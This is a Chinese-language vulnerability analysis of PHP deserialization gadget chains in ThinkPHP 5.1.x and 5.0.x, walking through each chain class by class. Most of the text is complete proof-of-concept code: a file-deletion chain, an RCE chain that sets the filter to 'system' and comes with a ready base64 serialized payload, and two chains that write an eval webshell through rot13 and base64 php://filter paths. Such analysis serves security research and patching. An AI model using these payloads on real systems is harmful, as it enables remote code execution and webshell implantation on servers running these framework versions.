https://github.com/Mochazz/ThinkPHP-Vuln
[TOC]
ThinkPHP5.1.X反序列化漏洞分析
环境搭建
➜ composer create-project --prefer-dist topthink/think tpdemo
➜ cd tpdemo
➜ vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
➜ composer update
修改控制器
<?php
namespace app\index\controller;
class Index
{
public function index()
{
unserialize(base64_decode($_POST['a']));
return "Welcome!";
}
}
漏洞分析
任意文件删除漏洞
全局搜索 __destruct(),在 think\process\pipes\Windows.php 中存在删除文件的方法
public function __destruct()
{
$this->close();
$this->removeFiles();
}
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
非常简单的链子,这里直接删除指定文件,参数均可控
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes
{
private $files = ['D:\\1.txt'];
}
echo base64_encode(serialize(new Windows()));
RCE
接着看,查一下 file_exists() 用法发现其参数为 String

可以想到魔法函数 __toString(将对象当成字符串时调用),接着搜索 __toString找到两个可利用点:thinkphp\library\think\Collection.php 和 thinkphp\library\think\model\concern\Conversion.php,这里分析 Conversion,另外一个下面分析

toArray() 中利用点在下图最后两句,这里的 $this->append 可控 。然后 if 里面 $relation 不会为空,不用管,进入第二个 if 后先跟进 getAttr() 看看

这里又调用了 getData(),再进去看看

getData() 这里 $this->data 可控
这里一路看下来 $name 和 $data 均可空,所以 $relation->visible($name) 就变成了 可控类->visible(可控参数)
接下来的思路就是找 可利用的visible()方法 或者 可利用的 __call()

翻了一圈 visible() 没有可用的,__call() 有个地方可以(看大佬文章说 call_user_func 和 call_user_func_array 一般都在 __call() 里面),在 thinkphp\library\think\Request.php 的 __call() 中确实存在 call_user_func_array(),分析过 TP5 RCE 的应该对这个类很熟悉了吧,基本上都跑不掉这个类里的 input() (function input($data = [], $name = '', $default = null, $filter = '')),只要能控制方法的 data 参数就能 RCE,但是并不会这么顺利,来看 __call()
330 行,使用 array_unshift() 将 $this 对象添加到 $args 数组的第一位,所以在构造 POC 时就要控制 hook 为 array(任意类,任意方法) 这样试的
直接调用 input() ?不行,在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

挺多的,但是都不能直接利用,比如 get(),第二个参数 $name 是 call_user_func_array() 的第二个参数,是对象

在 function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax() 和 isPjax() 中 $this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,链子不就有了?

编写 POC
在写 POC 中发现 Conversion.php 和 Attribute.php 类的定义为 trait,额,没见过,搜索一番发现其就是 复用代码,使用时直接 use 其命名空间即可把代码插进去(include?不清楚),向上查找发现 thinkphp\library\think\Model.php 同时使用了 Conversion 和 Attribute,但它又是抽象类的。。。再回溯

thinkphp\library\think\model\Pivot.php 继承了 Model 且类内部方法简单,就选他了

POC:
<?php
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files[] = new Pivot();
}
}
namespace think;
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = array('yq1ng' => array('hello'=>'thinkphp'));
$this->data = array('yq1ng' => new Request());
}
}
class Request
{
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
public function __construct()
{
$this->hook['visible'] = [$this, 'isAjax'];
$this->config['var_ajax'] = '';
$this->filter = 'system';
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiI
AKgBhcHBlbmQiO2E6MTp7czo1OiJ5cTFuZyI7YToxOntzOjU6ImhlbGxvIjtzOjg6InRoaW5rcGhwIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToieXExbmciO086MTM6InRoaW5rXFJlcXVlc3
QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZ
CI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19Q
QVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiI
iO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbH
RlciI7czo2OiJzeXN0ZW0iO319fX19
*/
POST 的同时 GET 一个随便的变量名过去即可

上面提到 __toString 有两个利用点,另外一个你想出来了吗,很简单,对吧。本来想放 POC 的,但是本地的被我搞丢了,就是直接 new Model() 就行啦
参考
ThinkPHP5.0.X反序列化漏洞分析
环境搭建
composer create-project topthink/think=5.0.14 tp5.0.14
<?php
namespace app\index\controller;
class Index
{
public function index()
{
echo $_POST['c'];
unserialize($_POST['c']);
return 'Welcome to thinkphp5.0.24';
}
}
漏洞分析
任意文件删除
不再赘述,和上面一样
写马
5.1 的在这里不适用,看下图比较,可控参数无了,链子也变了

前面还是 Windows->__destruct() --> Windows->removeFiles(),接着搜索 __toString() 找到 think\Model ,也类似,还是来到 toArray(),如果 $value 可控,则能调用 __call(),这里 $append 可控,所以 $name 可控,然后向上看先跟进 parseName()

由于 $name 可控,所以这里 $relation 也可控,但其首字母为小写

$relation 可控了,那么 $modelRelation 就是本类任意方法 return 的结果 ($modelRelation = $this->$relation();),选择 getError() 方法,因为它简单且可控

再看 getRelationData() ,要求 $modelRelation 为 Relation类 ,如果能进第一个 if 那么 $value 就可控了,看看 isSelfRelation() 和 getModel()

都是可控的,那么 $value 也就可控了
public function isSelfRelation()
{
return $this->selfRelation;
}
public function getModel()
{
return $this->query->getModel();
}
再看 $value->getAttr($attr) ,类可控了,方法参数能不能控制呢?看看 $attr 怎么来的,搜 getBindAttr()

在 thinkphp\library\think\model\relation\OneToOne.php 中找到可控的 bindAttr,且 abstract class OneToOne extends Relation,还要找其子类,两个随便选一个


到这里 $value->getAttr($attr) 完全可控了,接下来就是找一个可利用的 getAttr() 或者 __call(),但是getAttr() 只在 \think\Model 中有,没什么利用的,再搜 __call(,可以利用 thinkphp\library\think\console\Output.php ,一路跟下去喽




$this->handle 可控,搜索 write(),来到 thinkphp\library\think\session\driver\Memcache.php,$this->handle 也是可控,再搜 set()

找到 thinkphp\library\think\cache\driver\File.php ,但是这个很熟悉对不对,上一篇文章的 缓存写马 就是这里,这个版本修复过了,缓存不能用,加了死亡退出。止步不前了?往下看

159 行的 $filename 由 149 行决定,跟进 getCacheKey(),$this->options 可控 ==> $filename 可控

激动了吗,看 $data 可控吗,调用 set() 哪里最后一个参数不可控,$this->config['expire']==3306,所以没法写 shell 了

失望,,,继续看 setTagItem(),最后又掉用了 set(),且此次是以文件名为文件内容写入文件,关于死亡推出 P神 写过绕过方法,这里用最简单的 rot13 进行绕过


将$this->options['path'](getCacheKey)设置为 php://filter/write=string.rot13/resource=<?cuc @riny($_cbfg['ld1at']);?>
借用 osword 师傅的图

POC编写
<?php
/**
* @Author ying
* @Date 8/18/2021 5:49 PM
* @Version 1.0
*/
namespace think\process\pipes {
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = array(new Pivot());
}
}
}
namespace think\model {
use think\console\Output;
use think\model\relation\BelongsTo;
class Pivot
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = array('yq1ng' => 'getError');
$this->error = new BelongsTo();
$this->parent = new Output();
}
}
}
namespace think\model\relation {
use think\db\Query;
class BelongsTo
{
protected $bindAttr = [];
protected $selfRelation;
protected $query;
public function __construct()
{
$this->bindAttr = array('yq1ng' => 'hello');
$this->selfRelation = false;
$this->query = new Query();
}
}
}
namespace think\db {
use think\console\Output;
class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
}
namespace think\console {
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['getAttr'];
$this->handle = new Memcache();
}
}
}
namespace think\session\driver {
use think\cache\driver\File;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = new File();
}
}
}
namespace think\cache\driver {
class File
{
protected $options = [];
protected $tag;
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_cbfg[\'ld1at\']);?>',
'data_compress' => false,
];
$this->tag = 'yq1ng';
}
}
}
namespace {
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
但是这个 POC 只能在 Linux 上使用,因为 win 不允许文件名带有特殊字符。but 这个 POC 用了之后我不能执行命令,只能访问,其页面报错为 Parse error: syntax error, unexpected 'rkvg' (T_STRING)` ,后来参考这篇文章 Thinkphp5.0反序列化链在Windows下写文件的方法 得以解决,win 和 Linux通用
其中文件名是可推测的,filename 为 a.php.md5('tag_'.md5($this->tag)).php
<?php
/**
* @Author ying
* @Date 8/18/2021 5:49 PM
* @Version 1.0
*/
namespace think\process\pipes {
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = array(new Pivot());
}
}
}
namespace think\model {
use think\console\Output;
use think\model\relation\BelongsTo;
class Pivot
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = array('yq1ng' => 'getError');
$this->error = new BelongsTo();
$this->parent = new Output();
}
}
}
namespace think\model\relation {
use think\db\Query;
class BelongsTo
{
protected $bindAttr = [];
protected $selfRelation;
protected $query;
public function __construct()
{
$this->bindAttr = array('yq1ng' => 'hello');
$this->selfRelation = false;
$this->query = new Query();
}
}
}
namespace think\db {
use think\console\Output;
class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
}
namespace think\console {
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['getAttr'];
$this->handle = new Memcache();
}
}
}
namespace think\session\driver {
use think\cache\driver\File;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = new File();
}
}
}
namespace think\cache\driver {
class File
{
protected $options = [];
protected $tag;
public function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'yq1ng';
}
}
}
namespace {
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
win 写入情况如下,可利用
